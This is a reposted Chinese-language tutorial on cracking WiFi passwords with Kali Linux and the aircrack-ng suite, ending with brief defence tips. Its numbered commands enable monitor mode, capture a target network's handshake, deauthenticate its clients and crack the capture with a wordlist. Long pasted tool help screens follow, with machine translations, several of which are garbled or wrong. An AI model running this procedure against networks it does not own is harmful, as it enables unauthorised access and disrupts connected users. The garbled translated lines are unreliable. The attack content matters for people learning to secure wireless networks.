前言

無線網絡WiFi破解，利用自己家庭無線網絡作為實驗環境，請勿用于非法用途。

一、無線網絡WiFi破解模塊？

airmon-ng #網卡模式切換
airodump-ng #網絡監聽模式（抓取無線網絡數據包）
aireplay-ng #網絡設備攻擊
aircrack-ng #破解無線密碼

二、使用步驟詳解

airmon-ng start wlan0 #開啟無線網卡監聽模式
airodump-ng wlan0mon #掃描型號區域內WiFi信號
airodump-ng -c 6 --bssid 無線網絡mac地址 -w 抓取文件保存路徑 wlan0mon #抓取目標無線網絡數據包
aireplay-ng -0 0 -a 本地無線網絡mac地址 -c 目標無線網絡mac地址 wlan0mon #斷網攻擊目標無線網絡設備
airmon-ng stop wlan0mon #關閉無線網卡監聽模式
aircrack-ng -w 密碼字典文件 抓包文件（.cap文件） #從密碼字典文件破解抓取目標無線網絡數據包

aircrack-ng命令用法

aircrack-ng
usage: aircrack-ng [options] <input file(s)>
用法：aircrack ng[選項]<輸入文件>
Common options:
常見選項：
-a : force attack mode (1/WEP, 2/WPA-PSK)
-a:force攻擊模式（1/WEP，2/WPA-PSK）
-e : target selection: network identifier
-目標選擇：網絡標識符
-b : target selection: access point’s MAC
-目標選擇：接入點的MAC
-p : # of CPU to use (default: all CPUs)
-要使用的CPU的#（默認值：所有CPU）
-q : enable quiet mode (no status output)
-q：啟用安靜模式（無狀態輸出）
-C : merge the given APs to a virtual one
-C:將給定AP合并到虛擬AP
-l : write key to file. Overwrites file.
-l：將密鑰寫入文件。覆蓋文件。
Static WEP cracking options:
靜態WEP開裂選項：
-c : search alpha-numeric characters only
-c：僅搜索字母數字字符
-t : search binary coded decimal chr only
-t：僅搜索二進制編碼的十進制chr
-h : search the numeric key for Fritz!BOX
-h：在數字鍵中搜索Fritz！盒子
-d : use masking of the key (A1:XX:CF:YY)
-d：使用鍵的掩碼（A1:XX:CF:YY）
-m : MAC address to filter usable packets
-m:MAC地址，用于過濾可用數據包
-n : WEP key length : 64/128/152/256/512
-n:WEP密鑰長度：64/128/152/256/512
-i : WEP key index (1 to 4), default: any
-i：WEP鍵索引（1到4），默認值：任意
-f : bruteforce fudge factor, default: 2
-f:bruteforce-fudge因子，默認值：2
-k : disable one attack method (1 to 17)
-k：禁用一種攻擊方法（1到17）
-x or -x0 : disable bruteforce for last keybytes
-x或-x0：對最后一個密鑰字節禁用暴力
-x1 : last keybyte bruteforcing (default)
-x1:last keybyte bruteforcing（默認）
-x2 : enable last 2 keybytes bruteforcing
-x2：啟用最后2個密鑰字節暴力破解
-y : experimental single bruteforce mode
-y：實驗單蠻力模式
-K : use only old KoreK attacks (pre-PTW)
-K：僅使用舊KoreK攻擊（PTW之前）
-s : show the key in ASCII while cracking
-s：在破解時以ASCII顯示密鑰
-M : specify maximum number of IVs to use
-M：指定要使用的最大IVs數
-D : WEP decloak, skips broken keystreams
-D:WEP decloak，跳過斷開的密鑰流
-P : PTW debug: 1: disable Klein, 2: PTW
-P:PTW調試：1：禁用Klein，2:PTW
-1 : run only 1 try to crack key with PTW
-1：僅運行1次，嘗試使用PTW破解鑰匙
-V : run in visual inspection mode
-V：在目視檢查模式下運行
WEP and WPA-PSK cracking options:
WEP和WPA-PSK開裂選項：
-w : path to wordlist(s) filename(s)
-w：文字列表文件名的路徑
-N : path to new session filename
-N：新會話文件名的路徑
-R : path to existing session filename
-R：現有會話文件名的路徑
WPA-PSK options:
WPA-PSK選項：
-E : create EWSA Project file v3
-E<文件>：創建EWSA項目文件v3
-I : PMKID string (hashcat -m 16800)
-I:PMKID字符串（hashcat-m 16800）
-j : create Hashcat v3.6+ file (HCCAPX)
-j:create Hashcat v3.6+文件（HCCAPX）
-J : create Hashcat file (HCCAP)
-J：創建Hashcat文件（HCCAP）
-S : WPA cracking speed test
-S:WPA開裂速度試驗
-Z : WPA cracking speed test length of
-Z:WPA開裂速度試驗長度
execution.
處決
-r : path to airolib-ng database
-r:airolib ng數據庫的路徑
(Cannot be used with -w)
（不能與-w一起使用）
SIMD selection:
SIMD選擇：
–simd-list : Show a list of the available
–simd列表：顯示可用的
SIMD architectures, for this
SIMD架構，為此
machine.
機器
–simd= : Use specific SIMD architecture.
–simd=<選項>：使用特定的simd體系結構。

may be one of the following, depending on <選項>可以是以下選項之一，具體取決于 your platform: 您的平臺： generic 通用的 avx512 avx512 avx2 avx2 avx avx公司 sse2 sse2 altivec altivec公司 power8 電源8 asimd asimd公司 neon 霓虹的 Other options: 其他選項： -u : Displays # of CPUs & SIMD support -u：顯示CPU和SIMD支持 --help : Displays this usage screen --幫助：顯示此用法屏幕

aireplay-ng命令用法

└─# aireplay-ng --help
└─# aireplay ng–幫助
Aireplay-ng 1.6 - ? 2006-2020 Thomas d’Otreppe
Aireplay ng 1.6-（C）2006-2020托馬斯·多特普
https://www.aircrack-ng.org
https://www.aircrack-ng.org
usage: aireplay-ng
用法：aireplay ng
Filter options:
過濾器選項：
-b bssid : MAC address, Access Point
-b bssid:MAC地址，接入點
-d dmac : MAC address, Destination
-d dmac:MAC地址，目的地
-s smac : MAC address, Source
-s smac:MAC地址，源
-m len : minimum packet length
-m len：最小數據包長度
-n len : maximum packet length
-n len：最大數據包長度
-u type : frame control, type field
-u類型：幀控制，類型字段
-v subt : frame control, subtype field
-v subt：幀控件，子類型字段
-t tods : frame control, To DS bit
-t tods：幀控制，到DS位
-f fromds : frame control, From DS bit
-f fromds：幀控制，來自DS位
-w iswep : frame control, WEP bit
-w iswep：幀控制，WEP位
-D : disable AP detection
-D：禁用AP檢測
Replay options:
重播選項：
-x nbpps : number of packets per second
-x nbpps：每秒的數據包數
-p fctrl : set frame control word (hex)
-p fctrl：設置幀控制字（十六進制）
-a bssid : set Access Point MAC address
-bssid：設置接入點MAC地址
-c dmac : set Destination MAC address
-c dmac：設置目標MAC地址
-h smac : set Source MAC address
-h smac：設置源MAC地址
-g value : change ring buffer size (default: 8)
-g值：更改環形緩沖區大小（默認值：8）
-F : choose first matching packet
-F：選擇第一個匹配的數據包
Fakeauth attack options:
Fakeauth攻擊選項：
-e essid : set target AP SSID
-e essid：設置目標AP SSID
-o npckts : number of packets per burst (0=auto, default: 1)
-o npckts：每個突發的數據包數（0=自動，默認值：1）
-q sec : seconds between keep-alives
-q秒：兩次生存之間的秒數
-Q : send reassociation requests
-Q：發送重新關聯請求
-y prga : keystream for shared key auth
-y prga：共享密鑰驗證的密鑰流
-T n : exit after retry fake auth request n time
-T n：重試假身份驗證請求n次后退出
Arp Replay attack options:
Arp重播攻擊選項：
-j : inject FromDS packets
-j：注入FromDS數據包
Fragmentation attack options:
碎片攻擊選項：
-k IP : set destination IP in fragments
-k IP：在片段中設置目標IP
-l IP : set source IP in fragments
-l IP：在片段中設置源IP
Test attack options:
測試攻擊選項：
-B : activates the bitrate test
-B：激活比特率測試
Source options:
源選項：
-i iface : capture packets from this interface
-i iface：從該接口捕獲數據包
-r file : extract packets from this pcap file
-r文件：從此pcap文件中提取數據包
Miscellaneous options:
其他選項：
-R : disable /dev/rtc usage
-R：禁用/開發/rtc使用
–ignore-negative-one : if the interface’s channel can’t be determined,
–忽略消極因素：如果無法確定接口的通道，
ignore the mismatch, needed for unpatched cfg80211
忽略未匹配的cfg80211所需的不匹配
–deauth-rc rc : Deauthentication reason code [0-254] (Default: 7)
–取消身份驗證rc：取消身份驗證原因代碼[0-254]（默認值：7）
Attack modes (numbers can still be used):
攻擊模式（仍然可以使用數字）：
–deauth count : deauthenticate 1 or all stations (-0)
–取消身份驗證計數：取消身份驗證1或所有站點（-0）
–fakeauth delay : fake authentication with AP (-1)
–fakeauth延遲：與AP的假身份驗證（-1）
–interactive : interactive frame selection (-2)
–交互式：交互式幀選擇（-2）
–arpreplay : standard ARP-request replay (-3)
–ARP重播：標準ARP請求重播（-3）
–chopchop : decrypt/chopchop WEP packet (-4)
–chopchop：解密/chopchop WEP數據包（-4）
–fragment : generates valid keystream (-5)
–片段：生成有效的密鑰流（-5）
–caffe-latte : query a client for new IVs (-6)
–咖啡拿鐵：向客戶查詢新的IVs（-6）
–cfrag : fragments against a client (-7)
–cfrag：針對客戶端的碎片（-7）
–migmode : attacks WPA migration mode (-8)
–migmode：攻擊WPA遷移模式（-8）
–test : tests injection and quality (-9)
–測試：測試注射和質量（-9）
–help : Displays this usage screen
–幫助：顯示此用法屏幕

airodump-ng命令用法

└─# airodump-ng --help
94492；9472；\ 35；；airodump ng—幫助130 10799999999；
Airodump-ng 1.6 - ? 2006-2020 Thomas d’Otreppe
Airodump ng 1.6（C）2006-20 Thomas d’Otpe
https://www.aircrack-ng.org
https://www.aircrack-ng.org
usage: airodump-ng [,,…]
airodump ng選項“…_接口”，
Options:
選項：
–ivs : Save only captured IVs
僅保存捕獲的IVs
–gpsd : Use GPSd
–gpsd：使用gpsd。
–write : Dump file prefix
-write”：轉儲前綴文件。
-w : same as --write
-w、 與相同–
–beacons : Record all beacons in dump file
在文件轉儲中記錄所有信標
–update : Display update delay in seconds
…更新{y:bi}顯示延遲（秒）
–showack : Prints ack/cts/rts statistics
–showack：打印ack/rts統計信息
-h : Hides known stations for --showack
隱藏…showack的已知電臺
-f : Time in ms between hopping channels
跳頻通道之間的時間（毫秒）。
–berlin : Time before removing the AP/client
…柏林{u秒}時間，然后刪除AP/客戶端
from the screen when no more packets
當沒有更多數據包時從屏幕上
are received (Default: 120 seconds)
已接收（默認值：120秒）
-r : Read packets from that file
從該文件讀取數據包
-T : While reading packets from a file,
從文件中讀取數據包時，
simulate the arrival rate of them
模擬它們的到達率
as if they were “live”.
就好像他們是“活著的”
-x : Active Scanning Simulation
-x’…\u毫秒：主動掃描模擬
–manufacturer : Display manufacturer from IEEE OUI list
IEEE OUI列表中的顯示器制造商
–uptime : Display AP Uptime from Beacon Timestamp
從信標時間戳顯示AP正常運行時間
–wps : Display WPS information (if any)
顯示WPS信息（如有）
–output-format
…輸出格式
: Output format. Possible values:
輸出格式。對不起。可能值：
pcap, ivs, csv, gps, kismet, netxml, logcsv
pcap、ivs、csv、gps、kismet、netxml、logcsv。
–ignore-negative-one : Removes the message that says
-忽略負面消息：刪除以下消息：
fixed channel : -1
固定通道{y:bi}接口：-1
–write-interval
–寫入間隔
: Output file(s) write interval in seconds
輸出文件間隔（秒）
–background : Override background detection.
…背景{y:bi}覆蓋背景檢測。
-n : Minimum AP packets recv’d before
“之前接收的最小AP數據包數”
for displaying it
用于顯示它。
Filter options:
過濾器選項：
–encrypt : Filter APs by cipher suite
…encrypt_suite（'通過密碼過濾AP）
–netmask : Filter APs by mask
過濾器APmask
–bssid : Filter APs by BSSID
–bssid’-過濾器bssid:按bssid過濾AP
–essid : Filter APs by ESSID
–essid{essid通過ESS過濾AP
–essid-regex : Filter APs by ESSID using a regular
–essid正則表達式{u regex}使用正則ID按正則ID過濾AP
expression
表示
-a : Filter unassociated clients
篩選未關聯的客戶端。
By default, airodump-ng hops on 2.4GHz channels.
默認情況下，airodump ng在2.4GHz信道上跳躍。
You can make it capture on other/specific channel(s) by using:
您可以使用以下方法在其他/特定通道上進行捕獲：
–ht20 : Set channel to HT20 (802.11n)
將通道設置為HT20（802.11n）
–ht40- : Set channel to HT40- (802.11n)
將通道設置為HT40-（802.11n）
–ht40+ : Set channel to HT40+ (802.11n)
…ht40+將通道設置為ht40+（802.11n）
–channel : Capture on specific channels
…通道{y:bi}在特定通道上捕獲。
–band : Band on which airodump-ng should hop
–波段~~ airodump應該跳的abg波段
-C : Uses these frequencies in MHz to hop
-C{y:bi}使用這些頻率（以MHz為單位）進行跳躍
–cswitch : Set channel switching method
–cswitch:設置通道切換方法
0 : FIFO (default)
0:FIFO（默認）
1 : Round Robin
循環賽
2 : Hop on last
跳到最后一個
-s : same as --cswitch
-與-C開關相同。
–help : Displays this usage screen
顯示此使用屏幕

airmon-ng命令用法(網卡監聽模式)

usage: airmon-ng <start|stop|check> [channel or frequency]
用法：airmon ng<start | stop | check>[通道或頻率]

總結

防御辦法
1.防止這種攻擊最簡單的方法是設置復雜長的密碼（大寫字母+小寫字母+數字+特殊符號）：
2.不要使用WEP或WEP2加密方式，非常容易被破解
3.關閉無線路由器都有WPS功能。

總結

以上是生活随笔為你收集整理的kali2022.2无线网络WiFi破解详解的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。